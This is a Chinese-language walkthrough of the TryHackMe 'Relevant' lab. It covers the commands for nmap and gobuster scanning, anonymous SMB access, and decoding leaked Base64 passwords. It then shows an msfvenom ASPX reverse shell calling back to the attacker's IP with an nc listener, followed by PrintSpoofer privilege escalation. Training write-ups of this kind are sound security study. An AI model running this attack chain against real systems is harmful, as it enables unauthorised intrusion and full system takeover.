【THM】Relevant-练习
本文相关的TryHackMe实验房间链接:https://tryhackme.com/room/relevant
通过学习相关知识点:针对实验靶机完成渗透测试挑战。
实验简介
你已被分配给一个客户,该客户希望在一个环境中进行渗透测试,该环境将在 7 天内发布到生产环境中。
工作范围:
客户要求渗透测试工程师对目标虚拟环境进行评估,要求工程师提交有关评估的最少信息,客户希望渗透测试人员从恶意行为者的角度进行渗透测试(黑盒渗透测试),另外还要求渗透测试人员提交以下两个标志(未提供具体位置)以作为渗透成果的证明:
- user.txt
- root.txt
此外,客户提供了以下补充说明(请自行尝试):
- 本次活动允许使用任何工具或技术,但要求测试者先尝试手动利用。
- 找到并记录所有发现的漏洞。
- 将发现的标志提交到仪表板(dashboard)。
- 只有分配给你的机器的 IP 地址在渗透测试的资产范围内。
- 查找并报告所有漏洞(获得root权限的方式不止一个)
答题
启动本地机器(使用KAIL作为本地攻击机),连接TryHackMe平台所提供的openvpn,在实验房间页面点击“Start Machine”以获取目标靶机的IP。
user flag
先对目标靶机进行nmap端口扫描。
nmap -p- 10.10.117.216
进一步扫描端口
nmap -p 80,135,139,445,3389,49663,49667,49669 10.10.117.216 -sV -sC
由上图可知靶机的80、49663端口都开启了HTTP服务器(IIS),尝试对80端口进行目录扫描--无结果,尝试对49663端口进行目录扫描--结果如下。
gobuster dir -u http://10.10.117.216:49663 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -s '200,301' --status-codes-blacklist '' --no-error -t 50
#排除错误结果:--no-error
#线程数设置为50:-t 50
#只显示状态为200和301的目录:-s '200,301'
#将黑名单状态码设置为空(默认的黑名单状态码为404):--status-codes-blacklist ''
#gobuster有时会提示不能同时设置白名单状态码和黑名单状态码,所以此处选择修改默认的黑名单状态码(404)并将其设置为空。
由gobuster结果可知:我们可以在浏览器中通过url路径http://10.10.117.216:49663/nt4wrksv/访问到靶机的SMB共享列表中的nt4wrksv目录
目标靶机开启了SMB服务,我们尝试枚举目标机的SMB共享。
smbclient -L \\10.10.117.216 #默认无密码 直接按回车键尝试
#或者输入 smbclient -L \\\\ $IP\\
#或者输入 enum4linux -S $IP //IP为靶机IP
从SMB共享列表中看到一个用户,名称为nt4wrksv,尝试使用该账户进行SMB登录并从该SMB共享中下载敏感文件到本地机,然后对文件内容进行查看。
smbclient //10.10.117.216/nt4wrksv #默认无密码,询问登录密码时--直接按回车键
#或者 smbclient -L //10.10.183.234 -U nt4wrksv
#或者输入 smbclient -L \\\\ $IP\\$username
得到两个base64编码记录,进行base64解码以获取相关信息(echo "xxxxx" | base64 -d
)。
echo "Qm9iIC0gIVBAJCRXMHJEITEyMw==" | base64 -d
echo "QmlsbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk" | base64 -d
Bob - !P@$$W0rD!123
Bill - Juw4nnaM4n420696969!$$$
构造msfvenom命令以便生成一个反向shell文件,然后再重新登录刚才所访问的SMB共享,通过SMB服务上传反向shell文件(put shell.aspx
)到目标靶机。
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.13.16.58 LPORT=1234 -f aspx -o shell.aspx
设置Netcat反向shell监听器。
nc -lvnp 1234
在通过SMB服务上传文件成功并完成监听器设置后,使用curl
命令访问刚才已上传的反向shell文件(路径为:$IP:49663/nt4wrksv/shell.aspx),获得目标shell(输入whoami命令验证)并查看user flag内容。
curl http://10.10.117.216:49663/nt4wrksv/shell.aspx #在本地浏览器的url中直接访问地址也可
#Windows命令行-- 按文件名查找相关路径 dir /s /b c:\ | find "user.txt"
#使用/b带有 DIR 命令的开关会去除所有多余的信息,仅显示当前目录中的文件夹和文件的名称,而不显示文件大小和时间戳等属性。
#或者直接输入 dir \user.txt /s
user flag内容为:THM
root flag
在已获得的shell界面输入whoami /priv
命令 查看当前用户在目标系统中的相关权限。
由上图可知 当前用户似乎启用了 SeImpersonatePrivilege 令牌权限,这意味着我们可以使用令牌模拟来提升权限;接下来我们需要在目标机上执行一个漏洞利用程序--下载PrintSpoofer.exe,并将该exe文件上传到目标机(可以通过SMB服务上传文件)。
执行漏洞exp,提供-i
参数以在当前命令提示符下与新进程交互,并提供-c
参数以指定在程序执行时运行 CMD。
dir /s /b c:\ | find "PrintSpoofer64.exe"
cd c:\inetpub\wwwroot\nt4wrksv\
PrintSpoofer64.exe -i -c cmd
提权之后获得目标的root shell,通过此shell界面可以查看root flag内容。
cd /users/administrator
THM